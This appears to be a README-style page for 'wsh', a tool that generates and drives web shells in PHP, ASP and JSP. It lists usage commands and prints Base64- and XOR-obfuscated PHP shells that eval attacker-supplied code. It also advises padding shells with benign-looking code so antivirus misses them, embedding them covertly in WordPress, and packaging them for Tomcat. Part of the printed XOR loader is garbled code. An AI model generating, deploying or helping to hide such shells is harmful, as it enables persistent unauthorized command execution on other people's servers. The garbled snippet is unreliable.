Wsh : Web Shell Generator And Command Line Interface

wsh (pronounced woosh) is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There’s a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow better and ran in the terminal. Thus wsh was born.

The client features command history, logging, and can be configured to interact with a previously deployed standard webshell with a form/button. The generator creates webshells in php, asp, and jsp. They are generated with random variables, so each will have a unique hash. They can be configured with a whitelist, passwords, and allow commands to be sent over custom headers and parameters. The generator and client can be configured through command line flags or configuration files to allow for saving a setup that works for you without doing what I call the “–help” dance. Once configured, the client and generator use the same config file.

Features

• Interact with deployed web shells via the command line
  • Logging
• Generate webshells in PHP, JSP, and ASP
  • IP whitelisting
  • Password protection
  • Send commands over custom headers/parameters
  • File upload / download
  • Base64 encoded shells for asp and php
  • XOR encrypted shells for asp and php

Usage

Connect

wsh [flags]
-X, –method string HTTP method: GET, POST, PUT, PATCH, DELETE (default “GET”)
–param string Parameter for sending command
–header string Header for sending command
-P, –params strings HTTP request parameters
-H, –headers strings HTTP request headers
-c, –config string Config file
-k, –ignore-ssl Ignore invalid certs
–log string Log file
–prefix string Prepend command: ‘cmd /c’, ‘powershell.exe’, ‘bash’
–timeout int Request timeout in seconds (default 10)
–trim-prefix string Trim output prefix
–trim-suffix string Trim output suffix
-h, –help help for wsh

Generate

wsh generate [flags]
wsh g [flags]
-X, –method string HTTP method (GET,POST,PUT,PATCH,DELETE) (default “GET”)
-p, –param string Parameter for sending command
–header string Header for sending command
-w, –whitelist strings IP addresses to whitelist
-o, –outfile string Output file
–no-file Disable file upload/download capabilities
–pass string Password protect shell
–pass-header string Header for sending password
–pass-param string Parameter for sending password
–xor-header string Header for sending xor key
–xor-key string Key for xor encryption
–xor-param string Parameter for sending xor key
–base64 Base64 encode shell
–minify Minify webshell code
-t, –template string Webshell template file
-h, –help help for generate

Client usage / File IO

I wanted the client to be language agnostic, so all webshells needed to implement the same upload/download logic. Unfortunately it is a pain to do multipart form uploads natively in jsp and classic asp, so files are uploaded as base64 in a parameter. This is not ideal as the max file upload size is limited to the maximum parameter size. In the future I may try and implement multipart form uploads, or do multiple requests to transfer larger files.

$ wsh 127.0.0.1:8080/test.php –param cmd
127.0.0.1> help
get [local filepath] Download file
put [remote filepath] Upload file
clear Clear screen
exit Exits shell

Generator Examples

Simple Shells

The following commands generates and interacts with a simple php web shell.

$ wsh generate php –param cmd –no-file -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php –param cmd

Commands can also be sent over http headers

$ wsh generate php –no-file –header user-agent -o shell.php
Created shell at shell.php.
$ wsh 127.0.0.1:8080/shell.php –header user-agent

Whitelisting

$ wsh generate php –no-file –param cmd -w 127.0.0.1,10.0.23.3 -w 12.4.22.3 -o shell.php

Password Protection

Passwords can be sent over parameters or headers.

$ wsh generate php –no-file –param cmd –pass S3cr3t –pass-param pass
$ wsh 127.0.0.1:8080/shell.php –param cmd -P pass:S3cr3t
$ wsh generate php –no-file –param cmd –pass S3cr3t –pass-header pass-header
$ wsh 127.0.0.1:8080/shell.php –param cmd -H pass-header:S3cr3t

Base64 / XOR encryption

This functionality is interesting, but may require some modification of the templates to be made useful. In the case of asp and jsp, the libraries that facilitate decoding base64 are known IOCs and will get flagged. If you are interested in using these functionalities I’d recommend modifying the template and obfuscating.

Same as password protection, the xor key can be sent over a parameter or a header.

$ wsh g php –param cmd –no-file –base64
<? php
eval(base64_decode(‘JEZISENTPSRfUkVRVUVTVFsnY21kJ107JEZISENTPXRyaW0oJEZISENTKTtzeXN0ZW0oJEZISENTKTtkaWU7’))?>
$wsh g php –param cmd –no-file –xor-key S3cr3tK3y –xor-param X-Key
php<?
$KHhx =$ _REQUEST[“X-Key”];
$LqC = base64_decode(“d2MPPUdJb2wrFmI2N2AgEBQaPldELwhQG182Jw4XAFoZYxcpP3wXWwgHMkANNl5LVmMYBEdQaFcKFwg=”);
$oooqt = “”;
for($YpuI=0; $YpuI<strlen($LqC); ) {
for($cMq=0; ($Mq<strlen($KHhx) && $YpuI<strlen($LqC)); cMq++$,YpuI++) {
$oooqt .= $LqC{$ YpuI } ^ $KHhx{ $cMq };
}
}
eval($oooqt);

Tomcat Shells

To generate a webshell which can be deployed to tomcat, create a jsp shell named index.jsp and run the command below to zip it into a war file.

Occasionally, the tomcat environment does not have the libraries required for file upload/download and the shell will error when a request is made. To remediate this, use the --no-file flag.

$ wsh g jsp –param cmd –no-file -o index.jsp
$ jar -cvf shell.war index.jsp

Templates

Using the go template library adds alot of flexibility to the generator. Occasionally a webshell will get caught by AV however, I have found that adding in a bunch of random code in the template file will often make the shell look benign enough to allow it to persist on the disk. I have included an example in the templates/covert-php.tml file.

Additionally, you can modify these templates to include your name/contact information for attribution in the use case of a penetration test.

Client Functionality

Prefix

A prefix can be specified to prepend a string to each command sent to the shell. This can be used to turn a normal cmd shell into a powershell shell.

$ wsh http://10.0.0.27/shell.asp –param cmd –prefix powershell.exe
10.0.0.27> ls
Directory: C:\windows\system32\inetsrv
Mode LastWriteTime Length Name
—- ————- —— —-
d—– 5/27/2020 11:49 PM config
d—– 5/27/2020 11:49 PM en
d—– 5/28/2020 12:25 AM en-US
-a—- 5/27/2020 11:49 PM 119808 appcmd.exe

Logging

Logs are timestamped and include the host being interacted with. Log files are appended, so feel free to use the same log file for multiple sessions/hosts.

127.0.0.1:8080/shell.php –param cmd –log localhost.log
Logging to: localhost.log
127.0.0.1> ls
README.md
cmd
example-configs
…
[04/20/2020 12:02:17] 127.0.0.1> ls
README.md
cmd
example-configs

Trim prefix/suffix

The client can be configured to trim extraneous html content from a request, this is useful when interacting with standard html interface webshells, or maybe if a generated shell is sneakily embedded in a wordpress installation.

$wsh 127.0.0.1:8080/index.php -X POST –param cmd
127.0.0.1> ls
<div class=”pb-2 mt-4 mb-2″>
<h2> Output </h2>
</div>
<pre>
README.md
cmd
example-configs
index.php
main.go
templates
</pre>
</div>
$wsh 127.0.0.1:8080/index.php -X POST –param cmd –trim-prefix ‘
‘ –trim-suffix ‘
‘
127.0.0.1> ls
README.md
cmd
example-configs
index.php
main.go
templates